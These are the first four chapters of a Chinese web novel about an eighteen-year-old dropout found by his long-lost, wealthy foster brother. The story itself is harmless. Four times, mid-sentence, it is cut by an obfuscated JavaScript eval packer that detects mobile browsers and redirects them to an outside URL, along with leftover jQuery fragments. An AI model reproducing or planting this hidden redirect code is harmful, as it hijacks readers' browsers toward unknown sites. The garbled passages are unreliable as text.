《失散多年的哥哥成了大佬,说要养我》 1. 第 1 章 在与陆既明重逢之前,林嘉琛最大的苦恼是——他是要进厂拧螺丝,还是下海当男模? *** 春末夏初,晚风温柔,夜市内熙熙攘攘,街边放着一排排简易桌椅,大家吃着喝着,纷繁热闹。 小龙虾、钵钵鸡、麻辣烫、煎饼果子,天南海北的小吃汇聚于此,空气里满是油香味。 林嘉琛出门前刚洗了澡,头发被温热的夜风吹了个半干,走到一家小摊前,说道:“老板,两个烤鱿鱼,两根烤肠。” 老板道:“好嘞!” 林嘉琛转了账,便又到对面买了两杯柠檬水,回来时,烤鱿鱼和烤肠已经打包好,他便提着袋子离开,走到了街角的一家网咖门前。 而刚要推门而入,手机里便“叮—”地弹出一条微信。 周然:【大哥,到哪了?人开始多起来了,我跟网管小妹妹说是这两天天天包夜的粉毛小帅哥要来,她才答应给你留一个钟头,赶紧过来吧!】 周然:【别管人叫网管,叫人家妹妹、美女,记得跟人说声谢谢,别总那么高冷。】 妹妹?美女? 林嘉琛这辈子都没用这两个称呼叫过谁,只觉得既社会又油腻,也没回他,拉开门走了进去,说道:“网管,上机。” 网管小妹妹和他们差不多大,穿一身JK制服,刚去包间送完泡面出来,一路小跑过来道:“来了来了。”说着,走到前台后,一边开电脑一边理了理额前的空气刘海。 林嘉琛扫码付款,说道:“包夜。” 小妹妹对着电脑操作了一通,说道:“好了,还是老位置。”说着,冲他笑了笑。 林嘉琛一头顺直的头发垂落下来,微微遮住了眼睛,正低头看手机。周然“叮—叮—叮—”又来了三条微信轰炸,听了网管那话,便一边回着信息一边向二楼走去。 小妹妹便在前台后看着他离去的背影。 这小帅哥一头粉毛,头发像是刚洗,很柔顺,很有那么一番顺毛小狗的味道。180+的身高,高高瘦瘦,活脱脱一个衣架子,上身穿一件复古水洗黑的T恤,下面一条牛仔阔腿裤,脚上一双白色平底鞋,妥妥的潮男一枚。 只不过性子有点冷,待人接物总有些漫不经心似的。 她给人留位置,居然连声谢谢也没有。 而正嘀咕,那小帅哥又返了回来,对她说了句:“哦对了,谢谢。” 小妹妹怔了怔,说道:“没关系!” 网咖二楼,周然从洗手间走出来,往裤子上抹了一把手,刚要回位置,便见林嘉琛看着手机慢条斯理地从一楼走了上来,说道:“来了?快快快,再来一把,这一分一秒可都是钱啊。刚刚匹配队友碰到一个大傻福,简直虐得我肝疼!” 林嘉琛走到老位置坐下,开了机往电竞椅上一躺,说道:“不玩了。” 周然道:“不打游戏,你来网吧干什么?” 林嘉琛道:“我想你了还不行吗?” 周然听了小脸一红,竟有些羞赧,灰溜溜走到林嘉琛旁边坐下,说道:“也……也行吧。” 林嘉琛又坐了一会儿,便把小吃分了。 周然大快朵颐,林嘉琛却像没什么胃口,也没什么心情似的。 其实他说想周然了,倒也不全是假话。 他两周前退了学,陡然离开了集体,离开了原本既定的轨道,一个人回到家里,面对空荡荡的房间,心里便总是慌得厉害。 出来见一见人,倒是能好一些。 但既已退学,那也只能向前看,不上学,那便要上班。可他只有高中学历,坐班的工作肯定不会要他,他能想到的只有进厂。 他在网上发布了求职信息,一下子就有十几个劳务中介找了上来,他选了几个看着还算靠谱的加了微信,对面便给他发了一堆招聘信息。电子厂、服装厂、食品厂,五花八门什么厂都有,他看了一眼还没回,只感到万般迷茫。 一想到往后余生,都要领着每月四五千的工资生活,明明才十八岁,却仿佛一眼就能看到八十岁,想想便感到绝望。 但再绝望,似乎也只能面对…… 那头周然吃饱喝足,又摇了几个人开了一局,打到激动之处,直道:“卧槽!卧槽!卧槽!”说着,快把鼠标、键盘敲出了火星子,过了片刻,又道,“算鸟算鸟,我溜之大吉!”说着,一扭头,见林嘉琛不打游戏,却又对着电脑在忙活什么,便凑过去看了一眼。 只见屏幕上赫然是一个视频剪辑软件,上面写着——18岁高中生辍学后的一日vlog。 周然愣了愣,亮了亮大拇指道:“你来网吧不打游戏剪视频,有这事业心,干什么都会成功的!” 林嘉琛当然也想给自己谋一条出路。 他看有些up主发vlog吸了很多粉,便也想试试,万一真成了呢? 一开始也考虑过要不要露脸,但总觉得露脸有风险,别自媒体没做成,再惹上什么麻烦,最终便只拍了拍日常试试水。 周然一边打着游戏一边又问道:“你这两天涨粉了没有?” 林嘉琛道:“涨了。” “涨几个了?” “原本涨了两个,昨天半夜又掉一个。” “……” 周然不忍心打击他,于是又亮了亮大拇指。 林嘉琛敲击鼠标的手指显得有些有气无力,他每日观看同类型up主进行学习,还跟着干货视频提升拍摄和剪辑技巧。只是不知为何,数据却还是萎靡不振,一共发出去五条视频,而数据最好的那一条,点赞量竟高达7个! 周然又出主意道:“我说你要不要露脸试试?你上回那个手势舞,我说挺好看、挺可爱的,肯定很吸姐姐粉,让你发上去试试,你为什么不发呢?我最近还刷到好多招团播的,你要不要试试?” 林嘉琛道:“团播?” 周然道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521141|203315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工资还挺高的,还有提成,还包吃包住呢。” 林嘉琛连忙道:“在哪儿看到的?发给我。” 周然打完这一局,给他发了个链接。 林嘉琛看了眼薪资待遇,的确很诱人,底薪三千,但加上提成和杂七杂八的补贴,好像月入过万很轻松的样子…… 周然道:“也不要看不起团播,这不就是低配版男团吗?现在各行各业都不景气,我看好多小糊咖也干团播去了。要不是这两年选秀节目被一锅端了,我还想送你去选秀呢!你长这么一张脸,干点啥不好?天天琢磨着怎么进厂,简直暴殄天物!” 林嘉琛一手抱臂,一手刷着手机道:“进厂怎么了?进了厂我就是厂草。” 周然道:“好好研究研究吧,万一你哪天红了,招我当助理,我保准心甘情愿地给你提鞋!我要求也不高,月薪三千,包吃包住就行!” 林嘉琛没应声。 他看了那招聘信息,见上面有联系方式,便先加了那人微信。 保险起见,他还设置了“仅聊天”,不让对面看到他的朋友圈。 再返回抖音一刷新,大数据便又给他推了一堆团播相关的帖子。 【很轻松,不需要舞蹈基础,维护好大客户,月入过万就像呼吸一样简单。】 看起来还不错? 【千万别干!签了一家公司,一开始说底薪加提成能月入过万,但都是骗人的,各种找借口克扣,扣完就剩个底薪,连房租都交不起。一看合同,解约居然要二十万!】 这也太坑了! 再一刷,便又刷进了团播直播间。 这直播间走的是“西装杀”路子,七八个男生穿着西装在热舞,一个个宽肩窄腰大长腿,性张力满满。 他皱着眉看了许久—— 其实让他下这个海,他眼一闭、心一横倒也不是不能下。不就是几个男的在一块儿跳跳舞、媚媚粉吗? 可不知为何,总觉得不是正途。 思来想去,还是觉得vlog博主更靠谱一点! 一样是靠流量吃饭,为什么不做博主呢?努努力一定可以的,说不定哪天就掌握了流量密码! 于是他又看了几个干货视频,看着看着,忽然便有了新的感悟。要想视频流量好,便要直击社会痛点,引发大家的共鸣和讨论! 他带着这心得,又重新剪了个vlog,在下面配了文字,抒发了一番辍学后对未来人生的迷茫,剪完便发了出去。 他这两天总是失眠,常常一睁眼便是天亮,眼下有些困了,便把座椅放倒,轻轻合上了眼睛。 网咖内几十把键盘正敲得噼里啪啦,时不时混杂着几声国粹。 室内禁烟,可烟味还是混合着泡面、火腿肠等各种古怪的气味一块儿传了过来。 但不知为何,这些声音和气味丝毫也没影响他,反倒比一个人在家时还要安心许多,他就这样沉沉地睡了过去。 2. 第 2 章 眼前是一家环境优雅的中餐厅,舒缓的乐声悠然流淌,骨瓷碗碟轻轻相撞,发出清脆悦耳的声响,客人们正在大堂一边用餐一边低声谈笑风生。 温敏走了进去,说道:“你好,我找陆先生。” 身穿职业装的经理露出温婉笑容,说道:“你好,女士,请随我来。” 一分钟后,温敏被带到了一间包厢前。 推开门走进去时,男子正坐在一旁沙发上喝茶,很斯文周正的模样,见她进门,起了身道:“温老师你好,我是林嘉琛的哥哥,陆既明。” 温敏是三十一中的语文老师,这家人均上千,随便点两瓶酒,花费便能轻松上万的餐厅,显然不是她自己的选择。眼前这样的人物,也不是她日常能够接触到的。 今日之所以来到这儿,是因为校长昨日的一通电话。 昨日校长在电话里神神秘秘地说,有一个情况需要她帮忙,叫她自己知道就好,不要太声张。 简言之,校长有一个堂侄,这堂侄又有一个朋友,是个北京人,小二代,还是个A大毕业的高材生。这二代有一个本科同学,名叫陆既明,毕业后去了美国深造,如今在美国创业,据说做得很成功。 而这位陆先生,由于儿时家庭情况比较复杂的缘故,曾有过一个“异父异母”的弟弟,只可惜在七八年前失散了。 陆先生找了他许多年,过程曲折坎坷,直到最近才打听到弟弟在平州三十一中上学。 而这弟弟,竟是她班上前阵子刚辍了学的林嘉琛。 陆先生今日约她过来,便是想了解林嘉琛的情况。 中式包厢环境清雅,暖光打下来。温敏坐在桌前,对眼前一切仍感到有些恍惚。 眼前的男子穿一身剪裁精良的黑西装,戴一副细框眼睛,气质温文尔雅,只是目光中又带着几分令人疏离的“高智感”。 陆既明太久没回国,对国内的发展变化也还在适应中。 他也想过老师会不会怀疑他是骗子?毕竟他说的情况实在太跳脱现实。 为此他也准备了一些材料,好在必要之时自证身份——身份证,护照,还有之前和林嘉琛一家的合照。 温老师坐下后却说道:“陆先生,其实我之前有听说过你。” 陆既明有些意外。 温敏解释道:“我是嘉琛的语文老师,嘉琛之前在作文里写到过你。其实嘉琛的作文一直写得不太好,是他的拉分项。可每次写到你,写到他家人,他又能写得十分动人。所以我之前是知道嘉琛有过一个哥哥的,只是没想到……” 没想到这么优秀。 陆既明脸上浮出一抹欣慰笑意。 他是一个很商务的人,无论是穿衣打扮,还是言谈举止,都恰到好处得宛如假人,这一笑才显出几分鲜活,问道:“他作文里都写了我什么?” 温敏道:“都是你们儿时的一些事。” 陆既明又道:“没有写什么不好的事情吧?” ——比如在他调皮时打过他之类的。 温敏笑道:“那倒没有。” 陆既明与林嘉琛一家的缘分实在说来话长。 简言之,他和林嘉琛自幼父母离异,而他的父亲与林嘉琛的母亲,曾在十几年前短暂交往并同居过一阵。 当年林嘉琛的母亲带着林嘉琛南下打工,经朋友介绍,认识了一个兜比脸还干净的皮包公司小老板,此人便是陆既明的父亲。 他父亲是个极度不靠谱的人,接连创了几次业,越创兜里越干净,连奶奶留给他的房子也赔光了。 一开始带着他租房子住,后来和林嘉琛妈妈交往,便又带着他搬进了林嘉琛和他妈妈的小出租屋,四口人挤在两房一厅。 两人交往了一年多,他爸把林嘉琛妈妈也害得不浅。后来没有资金周转,还借走了妈妈一大笔积蓄。 这些钱最后都打了水漂,而他爸当然没还。 不仅没还,一日还趁妈妈上班、他上学、林嘉琛上幼儿园,悄悄从家里搬了出去,自此人家蒸发,彻底找不到人。 更离谱的是——走时并没有把他带走。 好在妈妈并没有把他赶出去,而是和林嘉琛一块儿拉扯。 当年妈妈在工厂做工,收入很是微薄,在安城又要租房,又要供两个孩子上学,日子很艰难。后来姥姥也来了安城,也找了一份活儿干,两个人的收入才勉强支撑起一家四口的生活。 而就这样过了四年,他爸万年铁树开了花,竟踩中风口大赚了一笔。 当然,现在想想其实也没多少,不过在省B城市买了一套房,又留下些积蓄,只要他爸不作妖,便足够他爸的养老本。 手头一宽裕,自己潇洒了一两年,人到中年,想起还有他这么一个儿子,于是他爸又找上门来,扔给他妈三万,把他抢了回去。 只是这三万不说妈妈养他这么多年的生活费、学费、辛苦费——当年他爸欠妈妈的那些钱,若是连本带利地算,恐怕都不止这些。 他离开时,林嘉琛一家都很舍不得。 他当然也很舍不得,只是他那年高三,马上要上大学,如果不跟着他爸走,他大学期间的学费、生活费便会给林嘉琛一家带来很大负担。 考虑到这一点,他跟着他爸离开了安城那工厂密集,教育资源却有些落后的县级市,转学到了省B城市,之后便一直忙于高考。 而等他高考结束,一个人坐了四小时汽车回到了安城时,却发现妈妈已经退租了…… 房东说,妈妈带着姥姥、林嘉琛回了老家,也不知是什么原因,竟把手机号也换掉了,他们就这样失散了好多年。 这一回能找到,也是托了三教九流、“黑白两道”的各种人脉,加上几分时来运转的运气,这才打听到林嘉琛在平州三十一中读书。 之所以这么难找,一方面是因为林嘉琛改了名字。 他之前不叫林嘉琛,而叫郑宝琛,小名宝宝。 单是确认这一点,便花费了他许多时间。 二来也是因为妈妈带着林嘉琛搬到了省城平州,陆既明不知道,还以为他们还在老家鹿城。 在来到平州之前,陆既明也听说了一些事,包括妈妈一年前去世,也包括林嘉琛已经退学。 物是人非,只后悔自己没能早一点找到他们。 眼下又问道:“林嘉琛是因为什么退学的?” 温敏道:“他母亲病重后,他状态受到很大影响,成绩也一落千丈……其实他一开始也是挣扎过的,只是家里有人生病,这件事实在太耗人了。成年人都不一定能顶得住,何况他一个青春期的孩子。后来渐渐地,我便感觉到他已经无心学习。” 陆既明又问道:“那在母亲病重之前,他成绩怎么样?” 温敏道:“他之前在年级排名中等,努努力可以达到中上。他原先那个成绩,如果能一直保持下去,将来考个本科肯定是没什么问题的,只可惜……” “去年他母亲去世后,我也找他谈过几回,希望他能调整好状态,努努力,再把成绩追回来,只是又谈何容易。经历了那样的事,孩子心气都没了,总容易想东想西的,哪里还能学得进去。” “直到前阵子,他又和科任老师起了冲突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521142|203315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,后来便干脆退学了。” 陆既明面色很沉,沉默了许久。 温老师又道:“其实嘉琛这孩子,底色真的很不错。他母亲病重那一年,他都是亲力亲为,给他妈妈端屎端尿这样伺候过来的,一句怨言也没有,现在的孩子又有几个能做到?” “他跟那科任老师闹得很僵,再让他回来上课,他估计也不愿意了。但一年后的高考,他还是能参加的。” “您是他哥哥,虽没有血缘,但千辛万苦地找到他,今日又约我碰面,想必也是有要管他的意思。我也希望您能劝劝他,让他再坚持一年,无论是转学也好,还是自己在家备考也好,现在这社会,起码也要有个本科学历。” 陆既明道:“您放心,我这回找到他,自然会对他负责到底。” 温敏笑道:“那我就放心了。” 陆既明又道:“对了,您手机里有他照片吗?” 他跟林嘉琛实在太久没见面,现在哪怕在大街上撞见,他都未必能认得出来。 “哦,有的!”温老师说着,从包里摸出手机,在相册翻了翻,翻出了几张班级活动的合照,把图片放大,指着其中一个男孩道,“这就是嘉琛同学。” 照片里的男孩穿一身蓝色校服,个子很高,人很瘦,皮肤有些过分白皙,和他的母亲一样。 他左眼角下有一颗痣,这位置的痣总能给整张脸添几分脆弱气质;加上他大大的眼睛,眼皮却有些微垂下来,睫毛在眼睑下打出阴影,看着像有些忧郁似的。 可明明分别的那一年,他还是个活泼调皮,甚至有些狗屁倒灶的小男孩儿。 陆既明又看了许久,拿出手机把那照片拍了下来,这才把手机还回去,说道:“谢谢。” 温敏道:“还有什么想问的吗?” 陆既明已经要到了林嘉琛的家庭地址,以及林嘉琛姥姥的手机号,是托学校拿到的。 只不过由于学校不鼓励学生玩手机,高中生也未必人人都有自己的手机,学校因此并不收录学生本人的手机号,而只登记了学生家长的,林嘉琛本人的号码,陆既明便还没有拿到。 他道:“我刚刚去他家敲门,但他家里好像没人。” 温老师笑道:“他经常去一家叫香蕉网咖的地方上网,就在夜市那条街。要不您去那里看看,说不定能逮到人。” 陆既明笑道:“好。” 用完餐,陆既明便送老师去了地库。 两人站在车边,陆既明又说了许多感谢的话语。 温敏“哔—”地解下车锁,说道:“陆先生实在太客气了,嘉琛有您这样的哥哥,我也就放心了。” 陆既明帮温老师拉开了车门,温敏坐上去,而刚要关门,便瞥见陆既明的司机拉开了后座车门,在她车座下放了两个袋子。 陆既明道:“实在很感谢温老师这两年对嘉琛的照顾,现在嘉琛也退学了,我也不算学生家长,来时带了点礼物,也不是太贵重的东西,还请老师一定要收下。” 温敏早料到陆先生这样周到的人,肯定不会空手而来。 车上太黑,她也不好意思回头看,只以为是水果、燕窝一类的东西,说道:“陆先生真是太客气了!” 陆既明很绅士地帮温敏合上车门,温敏又降下车窗道了几句谢,这才开着车离开。 直到出了地库,在红灯前停下—— 温敏回身把袋子拎过来看了一眼,不禁倒吸了一口凉气! 只见其中一袋是燕窝,倒也在意料之内。 而另一只黄橙橙的袋子里,竟赫然是一只爱马仕Birkin。 3. 第 3 章 网咖内没有明窗,灯又开得很亮,待在里面总是让人分不清日夜。 林嘉琛睁眼时,只见大厅里的人大部分都已歇菜,纷纷倒在椅子上睡觉,四周颇有几分寂静。 打开手机一看,竟才早上七点。 周然听到动静也睁了眼,掀开盖在身上的外套,拿起手机又打起了手游。 林嘉琛只穿了件T恤,有点冷,便把那外套拿过来穿。 周然体格比他大,这外套穿在他身上便很肥。且这卫衣外套周然像是穿了有三年,简直是他的本命外套,掉色严重,袖子都垮了,上面一股陈年洗不掉的烟味。 但林嘉琛实在冷,没办法只好穿上,一边拉拉链一边又忍不住嫌弃道:“你这外套多久没洗了?” 周然道:“一年没洗了怎么样?”说着,瞥了林嘉琛一眼。 一件破外套,穿在他身上像个要饭的,穿在林嘉琛身上倒颇有几分复古做旧的时髦感,一时大呼基因彩票的不公平! 林嘉琛倒在椅背上晃晃悠悠,看似漫不经心,实则超级在意。 他昨晚上传了vlog,也不知反响如何? 而点开了小地瓜,却只见—— 浏览量43 点赞2 评论0 新增关注0 林嘉琛一时有些心梗,可能他真的没有做自媒体的天赋吧,把手机往桌上一扔,起了身道:“抽根烟去。”说着,下了楼。 周然道:“等等我。”说着,拿上烟和打火机追了上去,一直追出了网咖门,“林嘉琛,你也不等等我!” 路边一辆轿车内,司机猛然回身道:“老板!刚刚那人好像叫了声林嘉琛?” 后座漆黑的车窗缓缓降了下来。 夏日清晨,阳光耀眼,不过平州是个北方城市,早上七点钟的空气里也还是带有几分凉意,路边绿化带上也仍沾着露水。 站在网咖门前的男孩儿穿了一件极其复古的卫衣外套,帽子肥肥大大地戴在头上,额前露出的竟是一头粉毛,潮得让人多看两眼都要得风湿。 只见他叼着一根烟,很熟练地点上了。 看到这儿,陆既明略显粗重地吐出一口气,微微调整了一下坐姿,像是有些不淡定了。 不料林嘉琛吸了一口,竟还吐出个眼圈来? 陆既明不禁皱了皱眉。 网咖通宵,学会抽烟也就算了,竟还学会了吐烟圈?他身边一堆烟民也没几个会吐烟圈的,没个几年烟龄,都做不到这么老练。 在来到这里之前,陆既明也已经接受了弟弟辍学,变成了一个“社会青年”的事实。但想象和亲眼目睹的冲击力根本不是一个级别,眼前这画面,还是让他的血压、心率、肾上腺素等各项指标产生了极大波动。 司机尴尬地笑笑,说道:“现在的小孩儿都追求个性!” 陆既明吸了一口气,尽量平缓地吐了出来。 记得他们分别时,林嘉琛还在上小学,八年时间没见,林嘉琛实在大变了模样。 陆既明昨日回了酒店,把那照片看了又看,这才看出几分他过去的模样来。 结果今日一见,竟又顶着一头粉毛。 若不是林嘉琛那朋友叫了他一声,又恰巧被司机听见,他还真未必能认得出来。 不过见了真人,又多看了两眼,倒是比照片中要好认一些。 仔细端详,其实林嘉琛五官也没太大变化,只不过整体拉长了一些,脸上、身上的婴儿肥都消失了,眼下已赫然是个180+的小伙子。 林嘉琛抽了一根烟,心中苦闷尚未排解,便又接着点了第二根。 隔壁奶茶店门口贴着一张招聘海报,他还看了一眼。 月薪4000-6000——那就是四千。 年龄18岁-25岁——摇奶茶还要面临25岁失业? 林嘉琛想着,正对万恶的资本家辱意大发,一抬头,便看到不远处的路边竟停着一辆劳斯劳斯,车身blingbling,尽显尊贵,停在这油污快要包浆了的夜市街道,显出那么几分违和的意味。 周然也看到了,说道:“我靠,劳斯莱斯?”说着,碰了碰旁边,“林嘉琛,你说你要是选秀出道,一夜爆红,实现了阶级跨越,回头要送我一辆劳,那我能好意思吗?”说着,已经自顾自地美了起来。 林嘉琛睨他一眼道:“你不是月薪三千、包吃包住就甘愿给我提鞋吗?”说着,手里夹着烟,微微晃着腿,目光有些不屑似的望着那豪车,“劳斯劳斯怎么了?如果里面是资本家,那我就是顾客,顾客就是上帝;如果是体制内,那我是人民,他们是人民公仆——怎么看都是我高人一等嘛!” 他看着那豪车,又缓缓吐出一口烟雾。 而就在这时,那后座车门缓缓开了。 周然虎躯一震道:“卧槽!该不会听到你瞎说八道的了吧?”说着,像个小媳妇一般挽住了林嘉琛手臂,埋着头,悄悄向对面瞥了过去。 只见一名西装革履,身形比例比直播间加了几百层滤镜的男模还优越,气质却截然不同的男子,俯身从车上走了下来,理了理衣装,而后向他们望过来。 “!!!” 周然方才还只是开玩笑,这下彻底懵了,小声道:“不会吧?那个人在看我们啊!——不对不对,那个人走过来了,真走过来了!真是冲着咱们来的!”说着,见林嘉琛在一旁属实淡定,心道奇怪,看向他道,“——你没戴隐形是吧?” 林嘉琛的确没戴隐形,眼下是一米开外六亲不认,六米 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521143|203315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开外人畜不分,眼下单手插兜抽着烟,一副临危不惧的模样,说道:“怎么了,我说什么了?光天化日,他还能打我不成?” 那男子却从不远处走过来,说了句:“今天不是周一吗?怎么没有去上课。” 等等——! 这声音实在耳熟。 简简单单一句话,却莫名让林嘉琛有了自己今天真有可能要挨打的预感,怎么回事? 不知为何,一些大脑快要忘记,身体却还在“耿耿于怀”的童年记忆,开始在他体内缓缓复苏,让他下意识想跑。 心中隐约有了猜测,却又实在不敢确定! 他怔怔看着那男子——由于没戴眼镜,脑子又有点懵,那男子在他眼前的模样便有些模糊。 直到那男子走到他面前,不容分说地夺了他手中的烟,问道:“真不认得我了,郑宝琛?” 话音一落,林嘉琛近视三百多度的眼睛,便猝不及防地对准了焦距,陆既明的脸庞以无比高清的画质映照在他大脑,他简直难以置信道:“——哥?!!不会吧,真真的假的?!!” 陆既明略显欣慰,摸摸他后脑勺道:“倒是还记得我。” 林嘉琛心道——怎么可能会忘。 周然则在一旁看傻了眼! ——郑宝琛?谁是郑宝琛? ——什么什么?林嘉琛管这开劳斯莱斯的大佬叫哥? ——完了完了,网咖通宵还抽烟,被他哥逮了个正着,林嘉琛回去了该不会要挨揍吧? 再一看,见大佬手上还拿着烟,那烟还在冒着烟,像是不好乱扔的模样,周然很有眼力见地道:“哥,这烟你还抽吗?” 陆既明道:“我不抽烟。” 周然小心翼翼地把烟接了过来,说道:“那我去扔。”说着,一溜烟跑到一旁垃圾桶捻灭,扔了。 回来时便见大佬对他露了笑,问道:“你是林嘉琛同学?” 周然连忙道:“没错,哥!我是嘉琛初中同学,后来中考没考上,现在就瞎混。”说着,不好意思地挠挠头,“哦对,我叫周然!” “你好,陆既明。”陆既明说着,伸出一只手,“这回太仓促,下回请你一块儿吃个饭。” 周然简直受宠若惊,往裤子上抹了一把手,这才小心翼翼地握了上去,说道:“那真是太荣幸了,您让嘉琛联系我就好!您跟嘉琛刚见面,那我就不打扰了,我那机子还上着点儿呢。”说着,又看向林嘉琛道,“那我就先上去了。那个你……懂点事,别老让你哥操心。” 听得林嘉琛直想给他一脚。 周然一进门,便只剩陆既明、林嘉琛二人站在网咖门前。 陡然一见面,陆既明还真不知该说什么好,伸手捏了捏林嘉琛后颈,说道:“先上车。” 4. 第 4 章 司机一见两人走来,忙下了车,开了车门。 陆既明把林嘉琛塞车里,自己绕到另一侧上车。司机问他们去哪儿,陆既明便看向一旁弟弟道:“你吃饭了没有?” 林嘉琛其实没吃,只是忽然和哥哥重逢,让他一下子五味杂陈,他眼下坐在这车里,简直跟做梦一样。 这些年,他们家也发生了太多事,他也不知该怎么跟哥说,于是心情不全是畅快的。眼下哪怕是山珍海味摆他面前,他也未必能吃得下。 他便说:“我还不饿。” 陆既明看着林嘉琛那一头粉毛,还是感到难以适应,忍不住伸手捏起一撮,问道:“你这头发是真的假的?” 林嘉琛微微垂着头道:“真的,染了。” 陆既明其实也不知该去哪里好,又问道:“要么先开车兜一圈,等饿了再去吃饭?刚好平州我也没好好逛过。” 林嘉琛点了一下头。 陆既明道:“那就随便兜一圈。” 司机应了声:“好。”便缓缓发动了车子。 过了片刻,又很贴心地升上隔断。 劳斯莱斯的玻璃隔断缓缓上升,又迅速蒙上一层白雾,使车前车后彻底成了两个独立的私密空间。 后排座椅宽敞舒适,成了一个比餐厅、咖啡店都更适合深入交谈的地方。 陆既明扭头看了林嘉琛一眼,见他从一个不到他腰部的小豆丁,长到如今Duang大一个,一时竟有些不大适应,又拍了拍他后脑勺。 与陆既明不同,林嘉琛再看哥哥,只觉得五官、外形都没太大变化。 毕竟哥哥离开那一年已经有十八岁,十八岁到二十六岁的变化,完全没有十岁到十八岁那么大,只不过气质成熟不少。 早上八点,城市开始缓缓苏醒,路上车辆多了不少,都是赶去上班的白领。司机便避开了市区,把车开向了道路更宽敞、开阔的郊区。 陆既明看了林嘉琛一眼,忍不住问道:“你烟龄多久了?” 林嘉琛道:“没多久,我没什么烟瘾。” 陆既明道:“一身烟味,还说没什么烟瘾?” 林嘉琛一低头,见自己身上还穿着周然的外套,说道:“这外套是周然的,他烟瘾重。”说着,觉得车内空调开得刚刚好,也不冷,便把那外套脱掉了。 陆既明接过外套,放到后面,说道:“烟要戒,我会盯着的。” 几年不见,大概是工作了的缘故,陆既明的谈吐变得温和了不少,不像小时候那么凶,可还是那么不容拒绝。 林嘉琛清了清嗓,模样莫名有几分乖巧,说道:“知道了……”又看了一眼眼前的雾化玻璃,好奇道,“我们在这儿说话,前面能听见吗?” 陆既明开了声盾,说道:“听不见,随便说。” 林嘉琛把身子扭过来,又实在好奇道:“哥,这车是你的吗?” 一下把陆既明问住了,说道:“……这车还真不是我的。” 他十多天前还在美国,得知了林嘉琛的消息,来得有些匆忙,对平州又有些人生地不熟,酒店、车,很多事都是他那A大同学托人安排。 不过他也带那朋友炒美股,让那朋友从一个连家里给他投资的网红连锁烤肉店都能干倒闭的富二代,到了如今,至少能靠炒股实现零花钱自由,不用再手心朝上,看家里脸色过日子,帮他这点倒也是应该的。 林嘉琛舒了一口气,只觉得这样反倒舒坦了。 要是哥哥真成了千万富翁什么的,他这没有血缘,甚至从没上过同一户口本的弟弟,反倒不好再贴上去了。 而正想着,陆既明又道:“这车你喜欢吗?要是喜欢,我送你一辆,以后就用这车接送你上学。” “…………!!!” 林嘉琛没问哥哥现在在做什么,怎么又是美国,又是随手要送他劳斯劳斯的,是不是赚了很多钱? 而是问道:“哥,你是怎么找到我的?” 陆既明说:“我这回能找到你,也是我那朋友帮的忙。” 在此之前,他已经大海捞针,托了所有能托的人,找遍了鹿城所有普高、职高,却始终没有找到人。 甚至系统里也没有太多记录,都是一些寻常信息,只锁定到一个曾用名郑宝琛,现用名林嘉琛的人,各方面信息都与弟弟吻合得上,他便猜到弟弟大概是改了名,可系统里也没有联系方式。 直到前阵子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521144|203315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他那A大同学认识了一个新朋友,那新朋友刚好是个平州人,在鹿城也有不少熟人,便托人帮忙打听了一下。 一开始本没抱太大希望,没想到这位朋友竟对此十分热情上心。 最后也是虾有虾路、蟹有蟹路——这位平州的朋友有一个初中辍学,天天泡网吧的表弟,帮他在他们那圈子里打听了一下,这才打听到寒暑假经常出入某网吧的林嘉琛,曾用名郑宝琛,在平州三十一中上学。 陆既明不禁问道:“你怎么改名字了?” “想跟我妈姓嘛。” 林嘉琛舒舒服服坐在座椅上,两手抱臂,明明也才十八岁,口吻却很老道的模样。 “我爸管生不管养,我还跟他姓做什么?小升初的时候我妈问我要不要改姓,要改就要趁早改,越往后越麻烦,我当然同意了。” 他妈妈也不知是什么命,一辈子遇人不淑,还总是吃了一堑再吃一堑。 也就哥哥在他们家的那几年,妈妈大概是考虑到哥哥的感受,没有再找什么乱七八糟的男朋友。 其余时候,林嘉琛都是跟着妈妈“颠沛流离”,认了一个又一个爹,结果都没一个好东西。搞得他现在都对爱情、婚姻有种本能的恐惧。 